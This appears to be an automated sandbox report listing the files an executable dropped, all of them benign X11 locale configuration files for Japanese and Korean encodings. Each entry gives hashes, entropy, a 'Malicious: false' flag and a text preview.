SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.S90\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.192525698658908
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF89z3sKnR8jLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMOmAOeCXoXKfXoc9RwvIo8WJb
MD5:	3A79369EA98A019EB6E786D2DE45886A
SHA1:	C8601AFD649A998EA441A25F7EF75161B6E5DBD0
SHA-256:	C0498B771807A7D9FDC255B2F48C6BB3D695EC2F9CE9A048D0A891C134E6F8B2
SHA-512:	6D54D27BF612E2FCC8303142776E1A5F2ADD7D1156C406ACFBAE02C63DA322D4CA60B12D108FD280F3E5F2ABEF4F703736698CAE7A9B7D4FB6E8AE6EDDBBB51C
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ja.S90 locale.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.S90\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text, with very long lines (696)
Category:	dropped
Size (bytes):	3357
Entropy (8bit):	5.533072720203506
Encrypted:	false
SSDEEP:	48:NNjv9ux6N2Duj6NQIpdEjwocJVgBl1DzuhsjQ0ZGIbN1OHRdtkFdv3:NNjlSld3VVgBl1nuUy7q/
MD5:	5461BA0BEF76B8D089E68B6B98CB9CB0
SHA1:	8C4F2A49FE4A73A6C68B1AB6E7A946E03D8C734D
SHA-256:	FFD2E632E6EFF3C36F5C50CE113A387544FE073349C0163DB4AF8FC021514E2E
SHA-512:	D63A49F2206F5CC125AC18AE8E52C18C7C60B1254A549F654ECB7A4D4C7FEE039A09FA0A1D0AD52289075A880FA8777F09BC6DD369A9DD10DDD7FD92F5AD5AB1
Malicious:	false
Preview:	# Copyright 1995 by FUJITSU LIMITED.# This is source code modified by FUJITSU LIMITED under the Joint.# Development Agreement for the CDEnext PST..# This is unpublished proprietary source code of FUJITSU LIMITED.#.# NLS-DB for ja_JP.S90..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.u90x03.1991-0..side..GL..length..2..gc_number.94..string_encoding.False..sequence.\x1b\x25\x28\x32..encoding_name.fujitsu.U90X03.}..csd1.{..charset_name.u90x03.1991-0..side..GR..length..2..gc_number.94..string_encoding.False..sequence.\x1b\x25\x2f\x32..encoding_name.fujitsu.U90X03.}.END XLC_CHARSET_DEFINE..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.JISX0201.1976-0:GL..}..font.{...primary..JISX0201.1976-0:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class (Kanji).fs1.{..charset.{...name.JISX0208.1983-0:GL...udc_area \x7521,\x7e7e..}..font.{...primary..fujitsu.u90x01.1991-0:GL,[\x2121,\x747e];....fujitsu.u90x03.199

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.SJIS\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	305
Entropy (8bit):	4.578950053948483
Encrypted:	false
SSDEEP:	6:LsRL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LeAe6ldo0+62XdUmhn
MD5:	8C2DDD4C19C58FBAD08AEBE10F933D0B
SHA1:	BDB11E97E228232913277E7E6B77B87065D444C3
SHA-256:	FD14CC13614BD2C39801EEDD96CC5C0D802812F569BFC10F3715A7579936310D
SHA-512:	19B1984D04B80AE98486551E1F3AE8D79071D9765DC0B635D60CCE6905E98B163BCD76BF2EF7C9C6E1F83D23BD1C83BA39F984CD388AF52880DEC57DDFF771A9
Malicious:	false
Preview:	#.# ja.SJIS Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.SJIS\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	481
Entropy (8bit):	5.151589850476978
Encrypted:	false
SSDEEP:	12:/NqvnSIMOCTrr/WO4/xajGEljFwCXoXKfXochRwvIoTMvb:/NEnSOqr/WOrGCfXo6fXocDwvVS
MD5:	2C34CF538BE839C551357067CDE1F2A4
SHA1:	DBC46926AC6B553A84448576CCBB77BC2EA38770
SHA-256:	BBFDD2A67876AFD2EBF9FB7F1D89A7F5840380BDB3B78FDA27356CE6617C3F51
SHA-512:	6B39D028724FC256CCBE144A21EC7B8EE29B3729D27EA12B190EC4B5B46BB79285C9766FF270417E8D391DF5FEFB487D4F7AC73B55E67F08D8B31446DAEC28E9
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ja locale.#.XLC.ja_JP.PCK/xlibi18n_PCK._XlcGenericLoader.# XLC_open.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximp40._Ximp_OpenIM..# XIM_open.XIM.common/ximlocal._XimpLocalOpenIM.# XIM_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_regiser XIM_unregister.XOM.common/xomGeneric._XomGenericOpenOM # XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.SJIS\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text, with very long lines (3586)
Category:	dropped
Size (bytes):	5166
Entropy (8bit):	5.120540960944293
Encrypted:	false
SSDEEP:	96:bVbepEyMW2N+oJX8VjdH8K9ke9ObIMjCSJ9O7nJ1tHO:xsWxadcK2b1GOgnM
MD5:	80E1A5398C806A0D2D7653BA4EC93229
SHA1:	7E52B19E2ACC366FC259D6327A266B7A068B4471
SHA-256:	0B4467FD8C3243B6A0FCFDBF35207B13D9612D5486B3A748E1CA5CCAE4158E06
SHA-512:	98D0BACBB62D9EB1002E57D81382EA49A02C03BAC6CF4E86AE4FA2C6E9939364A3DC51C37E54BB278372D09CCC357118F3CCB1A028F0728E6C395B796050C894
Malicious:	false
Preview:	# .# XLocale Database Sample for ja_JP.sjis.# ....# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...substitute.JISX0201.1976-0:GL...vertical_rotate.all..}.}.# .fs1 class (Kanji).fs1.{..charset.{...name..JISX0208.1983-0:GL..}..font.{...primary..JISX0208.1983-0:GL...substitute JISX0208.1990-0:GL..}.}.# .fs2 class (Half Kana).fs2.{..charset.{...name..JISX0201.1976-0:GR..}..font.{...primary..JISX0201.1976-0:GR...substitute JISX0201.1976-0:GR...vertical_rotate.all..}.}.# .fs3 class (Supplementary Kanji).# fs3.{.#.charset.{.#..name..JISX0212.1990-0:GL.#.}.#.font.{.#..primary..JISX0212.1990-0:GL.#.}.# }.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ja.sjis.mb_cur_max..2.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.U90\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.U90\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	340
Entropy (8bit):	5.190305441299605
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF8ptsKnR8jLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMOgAOeCXoXKfXoc9RwvIo8WJb
MD5:	3D149DF50547B60079D0E71538BECEC9
SHA1:	7EB1C32D9B27B7393E3FCAD4A88ECC65F46C7077
SHA-256:	F0CD28FD2A3C5680291DE0B74EC2311F86BDB64279F8E2770EFC44BFE176CB8A
SHA-512:	9100B450C0CE4288F61E12D29B9AE9210E6586ECE497AF8409BF429D758A49870B25C0CFB7AA364E436F92FB1E3865386D24E67678916EA4FFE38C532AEED531
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ja.U90 locale.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja.U90\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text, with very long lines (696)
Category:	dropped
Size (bytes):	3304
Entropy (8bit):	5.530595674948096
Encrypted:	false
SSDEEP:	48:NN5v9ux6N2Duj6NQIpVL9wJVgBl1DzuhsjQSBGIdN1OHRdt0Fdvh:NN5lSlVoVgBl1nuUbcZSJ
MD5:	06D2553DA686190F56F106EFE2632B79
SHA1:	8C237328CC07C45E26245FF7939A75F8AD362D43
SHA-256:	87F5F6F57DCC694A6753F91EE4F0A9EDF5C712B9993DFB120207D992958FD25A
SHA-512:	6EB9F485231A59EC1DA7AD59D26619A653063E2BE12712B01576B1AB725301BFC97F4BEAABF96A904CAB8F20D1D71B3839CEECD098898F8F8985721F113FB5F0
Malicious:	false
Preview:	# Copyright 1995 by FUJITSU LIMITED.# This is source code modified by FUJITSU LIMITED under the Joint.# Development Agreement for the CDEnext PST..# This is unpublished proprietary source code of FUJITSU LIMITED.#.# NLS-DB for ja_JP.U90..#.#.XLC_CHARSET_DEFINE category.#.XLC_CHARSET_DEFINE.csd0.{..charset_name.u90x03.1991-0..side..GL..length..2..gc_number.94..string_encoding.False..sequence.\x1b\x25\x28\x32..encoding_name.fujitsu.U90X03.}..csd1.{..charset_name.u90x03.1991-0..side..GR..length..2..gc_number.94..string_encoding.False..sequence.\x1b\x25\x2f\x32..encoding_name.fujitsu.U90X03.}.END XLC_CHARSET_DEFINE..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.JISX0201.1976-0:GL..}..font.{...primary..JISX0201.1976-0:GL...substitute.ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class (Kanji).fs1.{..charset.{...name.JISX0208.1983-0:GL..}..font.{. primary fujitsu.u90x01.1991-0:GL.#..primary..JISX0208.1983-0:GL.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	4.534756930707388
Encrypted:	false
SSDEEP:	6:LfhL5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:LfTAe6ldo0+62XdUmhn
MD5:	3368E7CD61F58C5EF0C9DCFB8CEAB955
SHA1:	46B3F52EBC24DA80376DC0CD94799D51DDCEE29F
SHA-256:	01992ED8EB18EC2F7C5E1D392739596CC1FA065C650094FC314CB7C35666C224
SHA-512:	4133E144863D0D013F95B2CFDBE017E791557B3F537A1F1C36250DB1C128A978D9565441C9CC8FDA0F14BC9ECD652AC023EE04A70DD5B0B703911B76988AF7E9
Malicious:	false
Preview:	#.# ja Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	611
Entropy (8bit):	5.039599578344123
Encrypted:	false
SSDEEP:	12:/NqvnSIMOCTnWO1CXoXKfXochRwvK/xajGEljFwCXoXKfXochRwvIoTMvb:/NEnSOGWOUXo6fXocDwvRGCfXo6fXocb
MD5:	4BEB3CDC6F83CB295C301925A54DED34
SHA1:	4EDDBF4AF838ACC7326BE97C62E3CC1DAE4B0228
SHA-256:	3E4FC429EC1D173058186AA5B443BF8EFC675DE48C5446538D3707D7C35EA37B
SHA-512:	C3CF19D65D760B4826F46EFFFC80AD3EBB2598290951C811D2447540AFAEC308D9EEC8F7C3702E349B06BC1965A02789650DDC459DA7B54DE6C171247F78D068
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ja locale.#.XLC.ja/xlibi18n_ja._XlcGenericLoader.# XLC_open.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.#XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_regiser XIM_unregister.XIM.common/ximp40._Ximp_OpenIM..# XIM_open.XIM.common/ximlocal._XimpLocalOpenIM.# XIM_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_regiser XIM_unregister.XOM.common/xomGeneric._XomGenericOpenOM # XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	1640
Entropy (8bit):	5.365231330475942
Encrypted:	false
SSDEEP:	24:ZOEH8OWEIg2yFEmAEQf+r9FvkID4MQQwqfDJ7/twfGm/73ZRRdbwRd+GG1F:XHB5lBEHfqvkI8G1NBgRdERd+GC
MD5:	1BD1E7CF0B0C74776AEBF670D52F5A61
SHA1:	4F862A2F3E5637EBDCBC361F9996126878D12D63
SHA-256:	BE38BF9F2AFDB805FD1152C941AF371EAEF75FA5D7873A4B587EE3AB20F97E7C
SHA-512:	CDCDB5294245290AAAF54EFCBA9E2654F2390F3CD3F95F3DDD6A0405F9220081BC23AC8E94ABE6A2FB4D6F132A6E8D958A1D0306C10221E97C71D313B81B9869
Malicious:	false
Preview:	#.# XLocale Database Sample for ja_JP.euc .# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name..ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...substitute.JISX0201.1976-0:GL...vertical_rotate.all..}.}.# .fs1 class (Kanji).fs1.{..charset.{...name..JISX0208.1983-0:GL...udc_area.\x7521,\x7e7e..}..font.{...primary..JISX0208.1983-0:GL. substitute JISX0208.1990-0:GL..}.}.# .fs2 class (Half Kana).fs2.{..charset.{...name..JISX0201.1976-0:GR..}..font.{...primary..JISX0201.1976-0:GR...substitute JISX0201.1976-0:GR...vertical_rotate.all..}.}.# .fs3 class (Supplementary Kanji).# fs3.{.#.charset.{.#..name..JISX0212.1990-0:GL.#..udc_area.\x7521,\x7e7e.#.}.#.font.{.#..primary..JISX0212.1990-0:GL.# .}.# }.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ja.euc.mb_cur_max..3.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja_JP.UTF-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja_JP.UTF-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.259898647682653
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF8Ez3K6lqLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMOEz33qeCXoXKfXoc9RwvIo8Q
MD5:	6C96F4A8BA24EFDB69613CE58F77ECD3
SHA1:	9779010D240C2231B5E9132BCD4DB336EE393FA6
SHA-256:	85023CEC5E57823E91C22FD0CC8E0562E1B357DEA2FB46E3978EBF01ED960D83
SHA-512:	00C769C4C7D5F6A23A9A6356E6D75553404982AFAB4C4DA72FB33AB2D32FBD0A94CD1179AEE5007922580A8009F0ACC2A7070F63EE6C29822700A55207F42B95
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ja_JP.UTF-8 locale.#.#.XLC.common/xlcUTF8Load._XlcUtf8Loader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ja_JP.UTF-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2180
Entropy (8bit):	5.16683251904944
Encrypted:	false
SSDEEP:	48:o5d306cpBU2l3bkTtsH/WKrTbcQuAD44zOu8aj6xdC8e:o5+6cYGOEX
MD5:	0BCA173A78AC1EFD396FD26D259CE295
SHA1:	D178F9C450593E93F4E6E1AF769053727838CEBB
SHA-256:	6B846ECC1AF2B38780CD8ECE0B1A93103CBECB7585C55672BB250380652B5A41
SHA-512:	A5FF51B77B930FA7948868E77E8207A70540CF43A8D6C9A37270F678A1067872842F2C1387ECAAF4F4D99D70BE0ED4A38B5EDC24F7CFB6AD85B1C4C7B3AEAA37
Malicious:	false
Preview:	# ..# .# .XLC_FONTSET category.# .XLC_FONTSET..on_demand_loading.True..object_name..generic..# We leave the legacy encodings in for the moment, because we don't.# have that many ISO10646 fonts yet..# fs0 class (7 bit ASCII).fs0 {. charset {. name ISO8859-1:GL. }. font {. primary ISO8859-1:GL. vertical_rotate all. }.}.# fs1 class (ISO8859 families).fs1 {. charset {. name ISO8859-1:GR. }. font {. primary ISO8859-1:GR. }.}..# .fs2 class (Kanji).fs2.{..charset.{...name.JISX0208.1983-0:GL..}..font.{...primary.JISX0208.1983-0:GL..}.}..# fs3 class (Korean Character).fs3.{..charset.{...name.KSC5601.1987-0:GL..}..font.{...primary.KSC5601.1987-0:GL..}.}..# fs4 class (Chinese Han Character).fs4.{..charset.{...name.GB2312.1980-0:GL..}..font.{...primary.GB2312.1980-0:GL..}.}.#.fs5 class (Half Kana).fs5.{..charset.{...name.JISX0201.1976-0:GR..}..font.{...primary..JISX0201.1976-0:GR...vertical_rotate.all..}.}.# ISO10646-1 is put last to make usually better-looking.#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ko\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	300
Entropy (8bit):	4.528987837722848
Encrypted:	false
SSDEEP:	6:L0emK8L5kc/az1e6ldoFd/M+6qRNXdkbYqBJW3uc/v:L0e0Ae6ldo0+62XdUmhn
MD5:	0B97A18694B554776F25902D75222099
SHA1:	F13C24ADAED6CABA67B389EC25D8A6C2A0BE7840
SHA-256:	396EF1863251655A81A13BED675B1035DE355EF4CF13A535B7E895BDDA703F38
SHA-512:	001E26172835D0AA6725FAE7050DA12EDD1049BADCD4BA28485FC17240FED7ABB6729D2C8F5FFBC4EE1BFCCA94FA61240EFC7CFE8A39F77D6E4CA8C37533257D
Malicious:	false
Preview:	#.# ko Compose Sequence.#.# Sequence Definition.#.#.# This file currently has no entries. It appears that a compose file (even.# just an empty one) is required for the appropriate keysyms to work for.# this encoding..#.# <Multi_key> Means <Compose>.# Special Character..# End of Sequence Definition.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ko\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	240
Entropy (8bit):	5.156876958542454
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMF3tsKnR8jq//LFH6KwJJZWFvb:/NqvnSIMcAO4/xaxMvb
MD5:	B89CA2EB37333FBBABA7C7C3A9DB9CD9
SHA1:	EBBC01BAF6A3116B7341C5FD7D74C9975CA711AC
SHA-256:	3061FE8262E058CF26C775DFB14197038E6D938B74B338538EAA9FEB07E7740A
SHA-512:	378DBCBF2A350E94B274D2CED1CF0721FC50766A8E949C079E1A8B053D9073124EA249E954845B649EBAE79B4E72E6A80F9DE0388F9277913C3BF26B6CA87FE2
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ko locale.#.XLC.common/xlibi18n._XlcGenericLoader.# XLC_open.XIM.common/ximp40._Ximp_OpenIM..# XIM_open.XOM.common/xomGeneric._XomGenericOpenOM # XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ko\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	807
Entropy (8bit):	5.329831891980588
Encrypted:	false
SSDEEP:	24:emnLEINc3jZ52hz9QQwqfDJ7/tfGm/72E:5nwF3d5AR1NsPE
MD5:	C90B575123F3C5B347389C032A46FBEE
SHA1:	7F6A752A147E891472030A1DC2B9E08BF1B2B9EB
SHA-256:	E321BB08CEC759F327A09106A4DAB7C3014C128813E53EB12ACA2FA3A8913686
SHA-512:	5141427940A43852AE3126DFE81C2F4E9D0573DDFB13A69AA9015D69AB6BE72BC87A92BBA144D33B014DE391D3A1F71FECDE0AAB3A54B21D392F6ADBD862B5FB
Malicious:	false
Preview:	# XLocale Database Sample for ko..# ..# .# .XLC_FONTSET category.# .XLC_FONTSET.# .fs0 class (7 bit ASCII).fs0.{..charset.{...name.ISO8859-1:GL..}..font.{...primary..ISO8859-1:GL...vertical_rotate.all..}.}.# .fs1 class .fs1.{..charset.{...name.KSC5601.1987-0:GL..}..font.{...primary..KSC5601.1987-0:GL...substitute.KSC5601.1987-0:GL..}.}.END XLC_FONTSET..# .# .XLC_XLOCALE category.# .XLC_XLOCALE..encoding_name..ko.euc.mb_cur_max..2.state_depend_encoding.False..wc_encoding_mask.\x30000000.wc_shift_bits..7.......use_stdc_env..True.force_convert_to_mb.True...# .cs0 class.cs0.{..side..GL:Default..length..1..wc_encoding.\x00000000..ct_encoding.ISO8859-1:GL.}..# .cs1 class.cs1.{..side..GR:Default..length..2...wc_encoding.\x30000000.....ct_encoding.KSC5601.1987-0:GL; KSC5601.1987-0:GR.}..END XLC_XLOCALE.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ko_KR.UTF-8\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:G:G
MD5:	01ABFC750A0C942167651C40D088531D
SHA1:	D08F88DF745FA7950B104E4A707A31CFCE7B5841
SHA-256:	334359B90EFED75DA5F0ADA1D5E6B256F4A6BD0AEE7EB39C0F90182A021FFC8B
SHA-512:	D369286AC86B60FA920F6464D26BECACD9F4C8BD885B783407CDCAA74FAFD45A8B56B364B63F6256C3CEEF26278A1C7799D4243A8149B5EDE5CE1D890B5C7236
Malicious:	false
Preview:	#

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ko_KR.UTF-8\XI18N_OBJS

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	347
Entropy (8bit):	5.244632656540535
Encrypted:	false
SSDEEP:	6:SCNqCsnuJiEGMFA03K6lqLbugHXoWiHKumXoWis9zwhwFbTwvIoJ1kWJb:/NqvnSIMH33qeCXoXKfXoc9RwvIo8WJb
MD5:	E87A1AC199C9FAADB5A87395A0456423
SHA1:	D261DCF34BB9A74218E69DE79E0EB9BB43140681
SHA-256:	D5AC844DF91EB872B5A9D06960DFDC727B9D910A0C36CD303C9595447616A2EC
SHA-512:	54D82618183325246248076EC8BEFA07A5A4821C1FD06CFA78C03B793E5FE1002607599CC402B9ED457B13BE7DC8B806B0C64B1B95DEA48986F36C2052E495BB
Malicious:	false
Preview:	# CATEGORY(XLC\|XIM\|OM).SHARED_LIBRARY_NAME.FUNCTION_NAME.#.#.XI18N objects table for ko_KR.UTF-8 locale.#.#.XLC.common/xlcUTF8Load._XlcUtf8Loader.# XLC_open.XIM.common/ximcp._XimOpenIM _XimRegisterIMInstantiateCallback _XimUnRegisterIMInstantiateCallback # XIM_open.XIM_register XIM_unregister.XOM.common/xomGeneric ._XomGenericOpenOM.# XOM_open.

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\ko_KR.UTF-8\XLC_LOCALE

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	2177
Entropy (8bit):	5.167466354293994
Encrypted:	false
SSDEEP:	48:L5d306cpBU3bkS2wtsH/MKrTbcQuAD44zd8TOj6xdC8e:L5+6cYGEE9
MD5:	7EC18121F03588563567CE6C05914D27
SHA1:	00DAD7EC180DE56339EC8AAE59D328BC2BEF3C97
SHA-256:	2A40CE6B317ED5563BAFDC39E057F6B8512AC07F5D22EAD699BED78E240B7C31
SHA-512:	030ADB53203B403A6B118D5B211C6C3A865D991A802E73A9B8CA8210B56626B4CD0338076AF0C7777ED1C96A7ABBC1BE8DD2B1BB8A687CF5A2A0A294CD24A5F0
Malicious:	false
Preview:	.# .# .XLC_FONTSET category.# .XLC_FONTSET..on_demand_loading.True..object_name..generic..# We leave the legacy encodings in for the moment, because we don't.# have that many ISO10646 fonts yet..# fs0 class (7 bit ASCII).fs0 {. charset {. name ISO8859-1:GL. }. font {. primary ISO8859-1:GL. vertical_rotate all. }.}.# fs1 class (ISO8859 families).fs1 {. charset {. name ISO8859-1:GR. }. font {. primary ISO8859-1:GR. }.}..# fs2 class (Korean Character).fs2.{..charset.{...name.KSC5601.1987-0:GL..}..font.{...primary.KSC5601.1987-0:GL..}.}.# .fs3 class (Kanji).fs3.{..charset.{...name.JISX0208.1983-0:GL..}..font.{...primary.JISX0208.1983-0:GL..}.}.# fs4 class (Chinese Han Character).fs4.{..charset.{...name.GB2312.1980-0:GL..}..font.{...primary.GB2312.1980-0:GL..}.}.#.fs5 class (Half Kana).fs5.{..charset.{...name.JISX0201.1976-0:GR..}..font.{...primary..JISX0201.1976-0:GR...vertical_rotate.all..}.}..# ISO10646-1 is put last to make usually better-looking.# oth

C:\Users\user\AppData\Local\Temp\Mxt242\usr\share\X11\locale\koi8-c\Compose

Download File

Process:	C:\Users\user\Desktop\T2dvU8f2xg.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	6270
Entropy (8bit):	4.858944656390008
Encrypted:	false
SSDEEP:	96:K73/rwRnWGRoReRplgYoAEwamowxpxpqyaq1wwfxHJH4SrrhrfrVrDhBXsyWOlyx:zvSofRVLBc2xkah3wFUdXBq9N
MD5:	480377315DB1674843D6FAA831897AFE
SHA1:	8C80E2729B2A9925715886B7AE4336C21890DB5A
